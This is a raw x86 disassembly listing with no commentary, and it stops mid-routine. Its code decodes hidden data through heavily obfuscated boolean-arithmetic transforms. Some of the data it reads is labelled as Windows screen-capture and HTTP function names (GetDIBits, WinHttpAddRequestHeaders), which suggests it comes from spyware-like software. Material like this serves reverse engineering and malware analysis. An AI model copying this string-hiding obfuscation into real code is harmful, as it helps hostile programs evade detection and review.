xor ah, 0xff
mov cl, al
xor cl, ah
xor cl, 0xff
or al, ah
and al, cl
mov byte [0x47191e], al
mov al, byte [0x47189f]
mov cl, al
xor cl, 0xff
and cl, 0x33
and al, 0xcc
or cl, al
mov byte [0x47191f], cl
mov al, byte [0x4718a0]
xor al, 0xb4
mov byte [0x471920], al
mov al, byte [0x4718a1]
mov cl, al
and cl, 0xbe
shl cl, 1
add al, 0xbe
sub al, cl
mov byte [0x471921], al
mov dl, byte [0x4718a2]
mov al, dl
xor al, 0xff
and al, 0xff
or al, 0
mov cl, dl
xor cl, 0xff
and al, cl
or al, 0xdf
xor al, 0xff
xor dl, 0xff
and dl, 0xdf
xor al, 0xff
xor dl, 0xff
xor dl, 0xff
mov cl, al
xor cl, dl
and cl, al
mov byte [0x471922], cl
mov al, byte [0x4718a3]
mov cl, al
xor cl, 0xd1
xor cl, 0xff
and cl, 0xd1
shl cl, 1
sub cl, 0xd1
sub al, cl
mov byte [0x471923], al
mov al, byte [0x4718a4]
xor al, 0xb1
mov byte [0x471924], al
mov al, byte [0x4718a5]
mov dl, al
or dl, dl
xor dl, 0xff
or dl, 0x95
xor dl, 0xff
xor al, 0xff
and al, 0x95
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x471925], dl
mov al, byte [0x4718a6]
xor al, 0xc6
mov byte [0x471926], al
mov al, byte [0x4718a7]
xor al, 0x5d
mov byte [0x471927], al
mov al, byte [0x4718a8]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
xor dl, 0xff
or dl, 0xba
and al, 0xba
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x471928], dl
mov al, byte [0x4718a9]
xor al, 0xe7
mov byte [0x471929], al
mov dl, byte [0x4718aa]
mov al, dl
xor al, 0xff
and al, 0xff
or al, 0
mov cl, dl
and cl, cl
xor cl, 0xff
xor cl, 0xff
or cl, 0
xor cl, 0xff
or cl, 0
or al, cl
xor al, 0xff
mov cl, al
and cl, 0x6f
mov ah, al
xor ah, 0x90
add al, ah
sub al, cl
and dl, 0x90
mov cl, dl
xor cl, 0xff
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0xff
or cl, 0
xor cl, 0xff
and al, cl
xor al, 0xff
mov byte [0x47192a], al
mov al, byte [0x4718ab]
mov cl, al
and cl, 0xff
shl cl, 1
mov dh, al
add dh, 0xff
sub dh, cl
mov bl, al
xor bl, 0xff
mov ah, dh
xor ah, 0xff
mov bh, bl
xor bh, 0xff
mov dl, ah
and dl, 0x26
and dh, 0xd9
mov cl, bh
and cl, 0x26
and bl, 0xd9
or dl, dh
or cl, bl
xor dl, cl
or ah, bh
xor ah, 0xff
and ah, 0xff
or dl, ah
xor dl, 0xff
or dl, 0x49
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
or al, 0xb6
and dl, al
or dl, dl
xor dl, 0xff
or dl, 0
xor dl, 0xff
or dl, 0
xor dl, 0xff
mov byte [0x47192b], dl
mov dl, byte [0x4718ac]
mov cl, dl
xor cl, 0xff
mov al, cl
xor al, 0xff
or al, 0x87
xor cl, 0xff
or cl, 0x87
and al, cl
xor al, 0xff
mov cl, dl
xor cl, 0x87
xor cl, 0xff
or dl, 0x87
and dl, cl
or al, dl
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
xor dl, 0xff
and dl, 0xd9
xor al, 0xff
and al, 0x26
or dl, al
xor dl, 0xff
mov byte [0x47192c], dl
mov al, byte [0x4718ad]
mov ah, al
xor ah, 0xff
mov cl, al
xor cl, 0xff
and cl, 0xff
or cl, 0
xor ah, 0xff
xor cl, 0xff
or ah, cl
xor ah, 0xff
and ah, 0xff
mov dl, ah
xor dl, 0xff
and dl, 0xd2
and ah, 0x2d
or dl, ah
xor dl, 0x2d
and dl, 0x71
or al, 0x71
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
or dl, al
xor dl, 0xff
mov byte [0x47192d], dl
mov bl, byte [0x4718ae]
mov al, bl
xor al, 0xff
and al, 0xfa
mov cl, bl
and cl, 5
or al, cl
mov dl, al
xor dl, 0xff
xor al, 0xff
or dl, al
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0
and dl, 0xfa
mov al, dl
xor al, 0xff
mov cl, al
and cl, 2
or al, 2
xor al, 0xff
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 6
sub bl, al
mov byte [0x47192e], bl
mov al, byte [0x4718af]
mov ah, al
xor ah, 0xff
and ah, 0xdf
mov cl, al
and cl, 0x20
or ah, cl
xor ah, 0x20
mov cl, al
xor cl, 0xff
mov dl, ah
xor dl, 0xff
mov ch, cl
xor ch, 0xff
and dl, ch
or ah, cl
xor ah, 0xff
or dl, ah
xor dl, 0xff
xor dl, 0xff
or dl, 0x23
xor al, 0xff
or al, 0xdc
mov cl, dl
xor cl, al
xor cl, 0xff
or dl, al
and dl, cl
mov al, dl
xor al, 0xff
xor dl, 0xff
and al, dl
xor al, 0xff
and al, 0xff
xor al, 0xff
and al, 0xff
mov byte [0x47192f], al
mov al, byte [0x4718b0]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
xor dl, 0xff
or dl, 0x83
xor dl, 0xff
and dl, 0xff
mov cl, al
add cl, 1
xor al, 0xff
or al, 0x83
add al, cl
or dl, al
mov byte [0x471930], dl
mov al, byte [0x4718b1]
mov dl, al
xor dl, 0xff
xor dl, 0xff
xor dl, 0xf8
and dl, 0xf8
mov cl, al
xor cl, 7
xor cl, 0xff
or al, 7
and al, cl
mov ah, dl
xor ah, 0xff
mov bl, al
xor bl, 0xff
mov dh, ah
and dh, 0xe
and dl, 0xf1
mov cl, bl
and cl, 0xe
and al, 0xf1
or dh, dl
or cl, al
xor dh, cl
or ah, bl
xor ah, 0xff
and ah, 0xff
or dh, ah
xor dh, 0x73
mov byte [0x471931], dh
mov al, byte [0x4718b2]
xor al, 0x8d
mov byte [0x471932], al
mov al, byte [0x4718b3]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
and dl, cl
or dl, 0xef
xor dl, 0xff
or al, 0x10
xor al, 0xff
xor dl, 0xff
xor al, 0xff
and dl, al
mov byte [0x471933], dl
mov dl, byte [0x4718b4]
mov al, dl
xor al, 0xff
mov cl, dl
xor cl, 0xff
and al, cl
mov cl, dl
or cl, cl
xor cl, 0xff
xor al, 0xff
xor cl, 0xff
and al, cl
xor al, 0xff
or al, 0xe7
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
xor al, 0xff
mov cl, dl
xor cl, 0xff
and cl, 0xe8
and dl, 0x17
or cl, dl
xor cl, 0x17
and cl, 0xe7
or al, cl
or al, al
xor al, 0xff
or al, 0
xor al, 0xff
xor al, 0xff
and al, 0xff
mov byte [0x471934], al
mov al, byte [0x4718b5]
mov dl, al
xor dl, 0xff
mov cl, al
xor cl, 0xff
or dl, cl
and dl, 0xf9
xor dl, 0xff
xor al, 0xff
or al, 0xf9
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x471935], dl
mov dl, byte [0x4718b6]
mov cl, dl
and cl, 0xff
shl cl, 1
mov al, dl
add al, 0xff
sub al, cl
and al, 0xa9
xor dl, 0xff
or dl, 0xa9
xor dl, 0xff
and dl, 0xff
and al, al
xor al, 0xff
mov cl, dl
xor cl, 0xff
xor dl, 0xff
or cl, dl
and al, cl
xor al, 0xff
xor al, 0x7f
mov byte [0x471936], al
mov al, byte [0x4718b7]
mov cl, al
xor cl, 0xff
and cl, 0xa1
and al, 0x5e
or cl, al
mov byte [0x471937], cl
mov al, byte [0x4718b8]
xor al, 0xc8
mov byte [0x471938], al
mov dl, byte [0x4718b9]
mov cl, dl
xor cl, 0xff
mov al, cl
xor al, 0xff
xor cl, 0xff
and al, cl
or al, 0x3a
xor al, 0xff
xor dl, 0xff
or dl, 0xc5
xor dl, 0xff
and dl, 0xff
or al, dl
mov cl, al
xor cl, 0xff
and cl, 0x12
and al, 0xed
or cl, al
xor cl, 0xda
mov byte [0x471939], cl
mov al, byte [0x4718ba]
xor al, 0x3e
mov byte [0x47193a], al
mov al, byte [0x4718bb]
xor al, 0xc2
mov byte [0x47193b], al
mov al, byte [0x4718bc]
xor al, 0xfc
mov byte [0x47193c], al
mov bl, byte [0x4718bd]
mov dl, bl
xor dl, 0x66
xor dl, 0xff
and dl, 0x66
mov cl, dl
and cl, 0xfd
mov al, dl
xor al, 0xff
and al, 2
mul cl
mov dh, al
mov cl, dl
and cl, 2
or dl, 2
mov al, dl
mul cl
add al, dh
add al, 0x99
add al, 1
sub bl, al
mov byte [0x47193d], bl
mov al, byte [0x4718be]
xor al, 0xb1
mov byte [0x47193e], al
mov al, byte [0x4718bf]
xor al, 0x31
mov byte [0x47193f], al
mov al, byte [0x4718c0]
xor al, 0xf3
mov byte [0x471940], al
mov al, byte [0x4718c1]
mov cl, al
xor cl, 0xff
mov dl, al
xor dl, 0xff
and cl, dl
xor cl, 0xff
and cl, 0x17
shl cl, 1
add al, 0x17
sub al, cl
mov byte [0x471941], al
mov al, byte [0x4718c2]
mov cl, al
xor cl, 0x14
xor cl, 0xff
and cl, 0x14
shl cl, 1
sub cl, 0x14
sub al, cl
mov byte [0x471942], al
mov al, byte [0x4718c3]
xor al, 0xec
mov byte [0x471943], al
mov dl, byte [0x4718c4]
mov al, dl
and al, al
and al, al
xor al, 0xff
xor al, 0xff
or al, 0
xor al, 0xff
or al, 0
and al, 0x2e
xor al, 0xff
xor dl, 0xff
mov ah, dl
xor ah, 0xff
mov dh, ah
and dh, 0xf
and dl, 0xf0
or dh, dl
xor dh, 0x21
or ah, 0xd1
xor ah, 0xff
and ah, 0xff
or dh, ah
and al, dh
xor al, 0xff
mov byte [0x471944], al
mov al, byte [0x4718c5]
xor al, 0x9e
mov byte [0x471945], al
mov al, byte [0x4718c6]
mov cl, al
xor cl, 0xff
and cl, 0xdd
and al, 0x22
or cl, al
mov byte [0x471946], cl
mov al, byte [0x4718c7]
xor al, 0xa6
mov byte [0x471947], al
mov al, byte [0x4718c8]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0x94
xor dl, 0xff
mov cl, al
xor cl, 0xff
or cl, 0x94
xor dl, 0xff
xor cl, 0xff
or dl, cl
xor dl, 0xff
and dl, 0x94
shl dl, 1
mov cl, dl
xor cl, 0xff
and cl, 0x94
and dl, 0x6b
sub dl, cl
sub al, 0x28
sub al, dl
add al, 0x28
mov byte [0x471948], al
mov al, byte [0x4718c9]
xor al, 0xc6
mov byte [0x471949], al
mov al, byte [0x4718ca]
mov cl, al
and cl, 0x18
shl cl, 1
add al, 0x18
xor cl, 0xff
add al, cl
add al, 1
mov byte [0x47194a], al
mov al, byte [0x4718cb]
xor al, 0xe7
mov byte [0x47194b], al
mov al, byte [0x4718cc]
mov cl, al
and cl, 0xc7
shl cl, 1
add al, 0xc7
sub al, cl
mov byte [0x47194c], al
mov al, byte [0x4718cd]
xor al, 0x25
mov byte [0x47194d], al
mov dl, byte [0x4718ce]
mov al, dl
and al, al
mov cl, dl
xor cl, cl
or al, cl
and al, al
xor al, 0xff
xor al, 0xff
or al, 0
and al, 0xff
xor al, 0xff
or al, 0xda
mov cl, al
and cl, 0xff
shl cl, 1
add al, 0xff
sub al, cl
mov ah, dl
xor ah, 0xff
xor dl, 0xff
and ah, dl
xor ah, 0xff
and ah, 0xff
xor ah, 0xff
and ah, 0xff
mov cl, ah
add cl, 1
xor ah, 0xff
or ah, 0xda
add ah, cl
or al, ah
mov cl, al
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub al, cl
mov byte [0x47194e], al
mov al, byte [0x4718cf]
mov cl, al
xor cl, 0xff
and cl, 0xa9
and al, 0x56
or cl, al
xor cl, 0xf8
mov byte [0x47194f], cl
mov al, byte [0x4718d0]
mov cl, al
xor cl, 0xff
and cl, 0xbb
and al, 0x44
or cl, al
mov byte [0x471950], cl
mov al, byte [0x4718d1]
xor al, 0xbb
mov byte [0x471951], al
mov al, byte [0x4718d2]
mov cl, al
xor cl, 0xff
and cl, 0xcd
and al, 0x32
or cl, al
mov byte [0x471952], cl
mov al, byte [0x4718d3]
xor al, 0x27
mov byte [0x471953], al
mov al, byte [0x4718d4]
xor al, 0xd7
mov byte [0x471954], al
mov al, byte [0x4718d5]
mov dl, al
and dl, dl
xor dl, 0xff
and dl, 0x76
xor dl, 0xff
and al, 0x89
xor al, 0xff
xor dl, 0xff
xor al, 0xff
or dl, al
mov byte [0x471955], dl
mov al, byte [0x4718d6]
xor al, 0x83
mov byte [0x471956], al
mov al, byte [0x4718d7]
mov cl, al
xor cl, 0xda
xor cl, 0xff
and cl, 0xda
shl cl, 1
sub cl, 0xda
sub al, cl
mov byte [0x471957], al
mov al, byte [0x4718d8]
xor al, 0x9a
mov byte [0x471958], al
mov al, byte [0x4718d9]
xor al, 0xae
mov byte [0x471959], al
mov al, byte [0x4718da]
mov cl, al
xor cl, 0xff
and cl, 0xc2
and al, 0x3d
or cl, al
xor cl, 5
mov byte [0x47195a], cl
mov al, byte [0x4718db]
xor al, 0x1c
mov byte [0x47195b], al
mov al, byte [0x4718dc]
xor al, 0x78
mov byte [0x47195c], al
mov al, byte [0x4718dd]
mov cl, al
and cl, cl
xor cl, 0xff
mov ah, al
add ah, ah
add ah, 1
add ah, cl
xor ah, 0xff
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
xor dl, 0xff
and dl, 0xff
xor dl, 0xff
and dl, 0xff
mov cl, dl
xor cl, 0xd9
xor cl, 0xff
or dl, 0xd9
and dl, cl
or al, 0xd9
xor al, 0xff
mov cl, dl
and cl, al
xor dl, al
or cl, dl
xor cl, 0xff
mov byte [0x47195d], cl
mov ah, byte [0x4718de]
mov cl, ah
xor cl, 0xff
mov al, ah
xor al, 0xff
or cl, al
and cl, 0x2a
mov al, cl
xor al, 0xff
xor cl, 0xff
or al, cl
and al, 0xff
xor al, 0xff
and al, 0xff
xor al, 0xff
mov dl, ah
xor dl, 0xff
xor ah, 0xff
and dl, ah
xor dl, 0xff
and dl, 0xd5
mov cl, dl
xor cl, 0xff
xor cl, 0xff
and cl, 0xff
shl cl, 1
sub cl, 0xff
sub dl, cl
xor al, 0xff
mov cl, dl
and cl, 0xff
shl cl, 1
add dl, 0xff
sub dl, cl
or al, dl
mov byte [0x47195e], al
mov al, byte [0x4718df]
xor al, 0x48
mov byte [0x47195f], al
mov ax, word [0x471060]
mov dx, ax
xor dx, 0xdd4b
mov cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub dx, cx
and dx, 0xdd4b
shl dx, 1
sub dx, 0xdd4b
xor dx, 0xffff
add ax, dx
add ax, 1
mov word [0x471260], ax
mov ax, word [0x471062]
mov dx, ax
or dx, dx
xor dx, 0xffff
or dx, 0xb7eb
xor dx, 0xffff
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0x4814
xor ecx, ecx
sub cx, dx
add ax, cx
mov word [0x471262], ax
mov ax, word [0x471064]
xor ax, 0x5a36
mov word [0x471264], ax
mov ax, word [0x471066]
xor ax, 0x524
mov word [0x471266], ax
mov ax, word [0x471068]
mov cx, ax
and cx, 0xffff
shl cx, 1
mov dx, ax
add dx, 0xffff
sub dx, cx
mov cx, ax
xor cx, 0xffff
and cx, 0xffff
or cx, 0
or dx, cx
xor dx, 0xffff
or dx, 0xa081
and ax, 0xa081
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub dx, cx
xor ax, 0xffff
mov cx, ax
xor cx, 0xffff
mov si, dx
and si, cx
mov cx, dx
xor cx, ax
add dx, cx
sub dx, si
mov word [0x471268], dx
mov ax, word [str.CreateDCW]
xor ax, 0x883
mov word [0x47126a], ax
mov dx, word [0x47106c]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
and ax, cx
or ax, 0x6b40
xor ax, 0xffff
or dx, 0x94bf
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
mov word [0x47126c], ax
mov dx, word [0x47106e]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
and ax, cx
and ax, ax
xor ax, 0xffff
and ax, 0xaed8
xor ax, 0xffff
xor ax, 0xffff
or dx, 0xaed8
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
mov word [0x47126e], ax
mov ax, word [0x471070]
mov cx, ax
add cx, 1
mov dx, ax
xor dx, 0xffff
or dx, 0x55a6
add dx, cx
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0x55a6
sub ax, dx
mov word [0x471270], ax
mov ax, word [0x471072]
mov cx, ax
xor cx, 0xffff
mov dx, ax
and dx, cx
mov cx, ax
xor cx, cx
mov di, ax
add di, cx
sub di, dx
mov si, di
xor si, 0xffff
and si, 0x590e
and di, 0xa6f1
or si, di
xor si, 0xa6f1
mov dx, si
xor dx, 0xffff
and dx, 0x3915
or si, 0xc6ea
xor si, 0xffff
or dx, si
xor dx, 0xffff
xor dx, 0xffff
and ax, ax
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
mov si, ax
xor si, 0x3915
and si, ax
xor dx, 0xffff
xor si, 0xffff
mov ax, dx
xor ax, si
xor ax, 0xffff
or dx, si
and dx, ax
mov word [0x471272], dx
mov dx, word [0x471074]
mov si, dx
and si, si
xor si, 0xffff
and si, 0xffff
xor si, 0xffff
and si, 0xffff
xor si, 0xffff
mov cx, dx
xor cx, 0xffff
mov ax, si
and ax, cx
xor si, cx
or ax, si
xor ax, 0xffff
or ax, 0x7587
and dx, 0x7587
mov si, dx
xor si, 0xffff
xor dx, 0xffff
or si, dx
xor si, 0xffff
or si, 0
xor si, 0xffff
or si, 0
mov cx, ax
xor cx, si
xor cx, 0xffff
or ax, si
and ax, cx
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub ax, cx
mov word [0x471274], ax
mov dx, word [str.DeleteDC]
mov ax, dx
and ax, ax
xor ax, 0xffff
and ax, 0x404e
xor ax, 0xffff
xor dx, 0xffff
or dx, 0x404e
and ax, dx
xor ax, 0xffff
mov word [0x471276], ax
mov ax, word [0x471078]
mov cx, ax
xor cx, 0xffff
and cx, 0xfcb5
and ax, 0x34a
or cx, ax
mov word [0x471278], cx
mov ax, word [0x47107a]
mov cx, ax
xor cx, 0xffff
and cx, 0xa8dc
and ax, 0x5723
or cx, ax
xor cx, 0xa94
mov word [0x47127a], cx
mov ax, word [0x47107c]
mov dx, ax
xor dx, 0xffff
or dx, 0x7cbd
add dx, 0x8343
mov cx, ax
add cx, 1
xor ax, 0xffff
or ax, 0x7cbd
add ax, cx
or dx, ax
mov word [0x47127c], dx
mov ax, word [0x47107e]
mov dx, ax
and dx, 0xc7a3
shl dx, 1
add ax, 0xc7a3
mov cx, ax
xor cx, 0xffff
and cx, dx
xor dx, 0xffff
and ax, dx
sub ax, cx
mov word [0x47127e], ax
mov dx, word [0x471080]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
and ax, cx
xor ax, 0xffff
and ax, 0xed77
xor dx, 0xffff
and dx, 0x1288
or ax, dx
mov cx, ax
xor cx, 0xffff
and cx, 0xd86f
and ax, 0x2790
or cx, ax
xor cx, 0x2790
mov word [0x471280], cx
mov ax, word [str.DeleteObject]
mov si, ax
xor si, 0xffff
mov cx, ax
xor cx, 0xffff
or si, cx
xor si, 0xffff
or si, 0
and si, 0xffff
xor si, 0xffff
mov cx, ax
xor cx, 0xffff
and si, cx
or si, 0xdfe
mov dx, si
xor dx, 0xffff
xor si, 0xffff
and dx, si
or dx, 0
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
mov si, ax
and si, 0xf201
xor ax, 0xf201
or si, ax
xor si, 0xffff
xor dx, 0xffff
mov ax, si
xor ax, 0xffff
and ax, 0x9fd3
and si, 0x602c
or ax, si
xor ax, 0x602c
and dx, ax
mov word [0x471282], dx
mov ax, word [0x471084]
xor ax, 0x6e0a
mov word [0x471284], ax
mov ax, word [0x471086]
mov cx, ax
xor cx, 0x29d3
xor cx, 0xffff
and cx, 0x29d3
shl cx, 1
sub cx, 0x29d3
mov dx, ax
sub dx, cx
mov cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub dx, cx
xor dx, 0xffff
or dx, 0xd62c
xor dx, 0xffff
and dx, 0xffff
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add dx, 0xd62c
add dx, 1
mov cx, ax
xor cx, 0xffff
and cx, dx
xor dx, 0xffff
and ax, dx
sub ax, cx
mov word [0x471286], ax
mov ax, word [0x471088]
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
mov dx, ax
sub dx, cx
or dx, 0xe086
add dx, 0x1f7a
and ax, 0xe086
or dx, ax
xor dx, 0xe132
mov word [0x471288], dx
mov ax, word [0x47108a]
xor ax, 0xb9ac
mov word [0x47128a], ax
mov ax, word [0x47108c]
xor ax, 0x1ee5
mov word [0x47128c], ax
mov ax, word [0x47108e]
xor ax, 0x7b70
mov word [0x47128e], ax
mov ax, word [0x471090]
xor ax, 0x1b26
mov word [0x471290], ax
mov dx, word [str.GetDIBits]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
and ax, cx
or ax, 0x45d5
xor ax, 0xffff
and dx, dx
xor dx, 0xffff
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
or dx, 0
mov si, dx
and si, 0x45d5
xor si, 0xffff
and dx, 0x45d5
xor dx, 0xffff
xor si, 0xffff
xor dx, 0xffff
or si, dx
or ax, si
mov cx, ax
xor cx, 0xffff
and cx, 0x7d2c
and ax, 0x82d3
or cx, ax
xor cx, 0x82d3
mov word [0x471292], cx
mov dx, word [0x471094]
mov ax, dx
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
or ax, 0
xor ax, 0xffff
mov cx, ax
xor cx, 0x6aff
xor cx, 0xffff
or ax, 0x6aff
and ax, cx
xor dx, 0xffff
or dx, 0x6aff
xor dx, 0xffff
and dx, 0xffff
mov cx, dx
and cx, ax
xor cx, 0xffff
add ax, dx
add ax, 1
add ax, cx
mov cx, ax
xor cx, 0xffff
and cx, 0x9cb8
and ax, 0x6347
or cx, ax
xor cx, 0xb0a1
mov word [0x471294], cx
mov ax, word [0x471096]
xor ax, 0xffb
mov word [0x471296], ax
mov ax, word [0x471098]
xor ax, 0x94cf
mov word [0x471298], ax
mov ax, word [0x47109a]
mov cx, ax
and cx, 0xffff
shl cx, 1
mov dx, ax
add dx, 0xffff
sub dx, cx
xor dx, 0xffff
or dx, 0x7268
xor dx, 0xffff
and dx, 0xffff
xor ax, 0xffff
or ax, 0x8d97
xor ax, 0xffff
and ax, 0xffff
and dx, dx
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
xor ax, 0xffff
or cx, ax
and dx, cx
xor dx, 0xffff
mov word [0x47129a], dx
mov ax, word [0x47109c]
mov cx, ax
add cx, 1
mov dx, ax
xor dx, 0xffff
or dx, 0xf4e2
add dx, cx
shl dx, 1
add ax, 0xf4e2
sub ax, dx
mov word [0x47129c], ax
mov dx, word [str.GetObjectW]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
mov si, dx
sub si, cx
or ax, si
xor ax, 0xffff
or ax, 0x2cef
xor dx, 0xffff
and dx, 0xffff
or dx, 0
mov cx, dx
and cx, 0xd310
xor cx, 0xffff
add dx, 0xd310
add dx, 1
add dx, cx
and ax, dx
and ax, ax
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
mov word [0x47129e], ax
mov ax, word [0x4710a0]
xor ax, 0x49d8
mov word [0x4712a0], ax
mov ax, word [0x4710a2]
mov cx, ax
xor cx, 0xffff
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
and dx, cx
xor dx, 0xffff
and dx, 0x8809
and ax, 0x77f6
or dx, ax
mov word [0x4712a2], dx
mov ax, word [0x4710a4]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
and dx, cx
xor dx, 0xffff
and dx, 0x5a93
mov cx, ax
xor cx, 0xffff
and cx, 0xa56c
xor dx, 0xffff
xor cx, 0xffff
and dx, cx
xor dx, 0xffff
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0x5a93
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub dx, 0x5a93
sub ax, dx
mov word [0x4712a4], ax
mov ax, word [0x4710a6]
xor ax, 0x3b30
mov word [0x4712a6], ax
mov ax, word [0x4710a8]
mov cx, ax
and cx, 0xdc52
shl cx, 1
add ax, 0xdc52
sub ax, cx
mov word [0x4712a8], ax
mov dx, word [0x4710aa]
mov ax, dx
and ax, ax
xor ax, 0xffff
and ax, 0x25e
xor ax, 0xffff
xor dx, 0xffff
or dx, 0x25e
and ax, dx
xor ax, 0xffff
mov word [0x4712aa], ax
mov ax, word [str.SelectObject]
xor ax, 0xdec7
mov word [0x4712ac], ax
mov ax, word [0x4710ae]
mov dx, ax
and dx, 0x44b7
xor dx, 0xffff
mov cx, ax
and cx, 0x44b7
xor cx, 0xffff
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
shl dx, 1
add ax, 0x44b7
sub ax, dx
mov word [0x4712ae], ax
mov ax, word [0x4710b0]
mov dx, ax
xor dx, 0xffff
and dx, 0x87ce
mov cx, ax
and cx, 0x7831
or dx, cx
xor dx, 0xffff
and dx, 0xffff
or dx, 0
and dx, 0x87ce
shl dx, 1
add dx, 0x7832
add ax, 0xb42f
sub ax, dx
sub ax, 0xb42f
mov word [0x4712b0], ax
mov ax, word [0x4710b2]
mov cx, ax
xor cx, 0xffff
and cx, 0x6ffd
and ax, 0x9002
or cx, ax
mov word [0x4712b2], cx
mov ax, word [0x4710b4]
mov cx, ax
xor cx, 0x76ca
xor cx, 0xffff
mov dx, ax
or dx, 0x76ca
and dx, cx
shl dx, 1
add ax, 0x76ca
sub ax, dx
mov word [0x4712b4], ax
mov ax, word [0x4710b6]
mov cx, ax
xor cx, 0x4577
xor cx, 0xffff
mov dx, ax
or dx, 0x4577
and dx, cx
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub ax, 0x4982
add ax, 0x4577
add ax, 0x4982
sub ax, dx
mov word [0x4712b6], ax
mov ax, word [0x4710b8]
xor ax, 0xce87
mov word [0x4712b8], ax
mov dx, word [0x4710ba]
mov ax, dx
xor ax, 0xffff
and ax, 0x57a7
mov cx, dx
and cx, 0xa858
or ax, cx
xor ax, 0xa858
mov cx, ax
xor cx, 0xa22b
xor cx, 0xffff
or ax, 0xa22b
and ax, cx
mov si, dx
xor si, 0xffff
or si, 0xa22b
xor dx, 0xffff
or dx, 0xa22b
and si, dx
xor si, 0xffff
mov cx, si
and cx, ax
xor cx, 0xffff
add ax, si
add ax, 1
add ax, cx
xor ax, 0xc679
mov word [0x4712ba], ax
mov ax, word [str.WinHttpAddRequestHeaders]
mov cx, ax
and cx, cx
mov dx, cx
xor dx, 0xffff
and dx, 0x44ab
and cx, 0xbb54
or dx, cx
xor dx, 0xbb54
and dx, 0xd5cc
xor dx, 0xffff
and ax, 0x2a33
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x4712bc], dx
mov ax, word [0x4710be]
xor ax, 0x66b3
mov word [0x4712be], ax
mov dx, word [0x4710c0]
mov si, dx
and si, si
mov ax, si
and ax, 0xffff
shl ax, 1
add si, 0xffff
sub si, ax
and si, si
xor si, 0xffff
xor si, 0xffff
or si, 0
xor si, 0xffff
or si, 0
mov ax, si
xor ax, 0xffff
and ax, 0xeae3
xor si, 0xffff
and si, 0xeae3
or ax, si
xor ax, 0xffff
mov si, dx
xor si, 0xffff
xor dx, 0xffff
and si, dx
or si, 0xeae3
xor si, 0xffff
xor si, 0xffff
xor ax, 0xffff
xor si, 0xffff
or ax, si
xor ax, 0xffff
and ax, 0xffff
mov cx, ax
xor cx, 0xffff
and cx, 0xa0ef
and ax, 0x5f10
or cx, ax
xor cx, 0x5f10
mov word [0x4712c0], cx
mov ax, word [0x4710c2]
mov dx, ax
xor dx, 0xffff
and dx, 0x79c
mov cx, ax
and cx, 0xf863
or dx, cx
xor dx, 0xd617
xor dx, 0xffff
and dx, 0xd18b
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub dx, 0xd18b
mov cx, ax
xor cx, dx
xor dx, 0xffff
and ax, dx
shl ax, 1
sub ax, cx
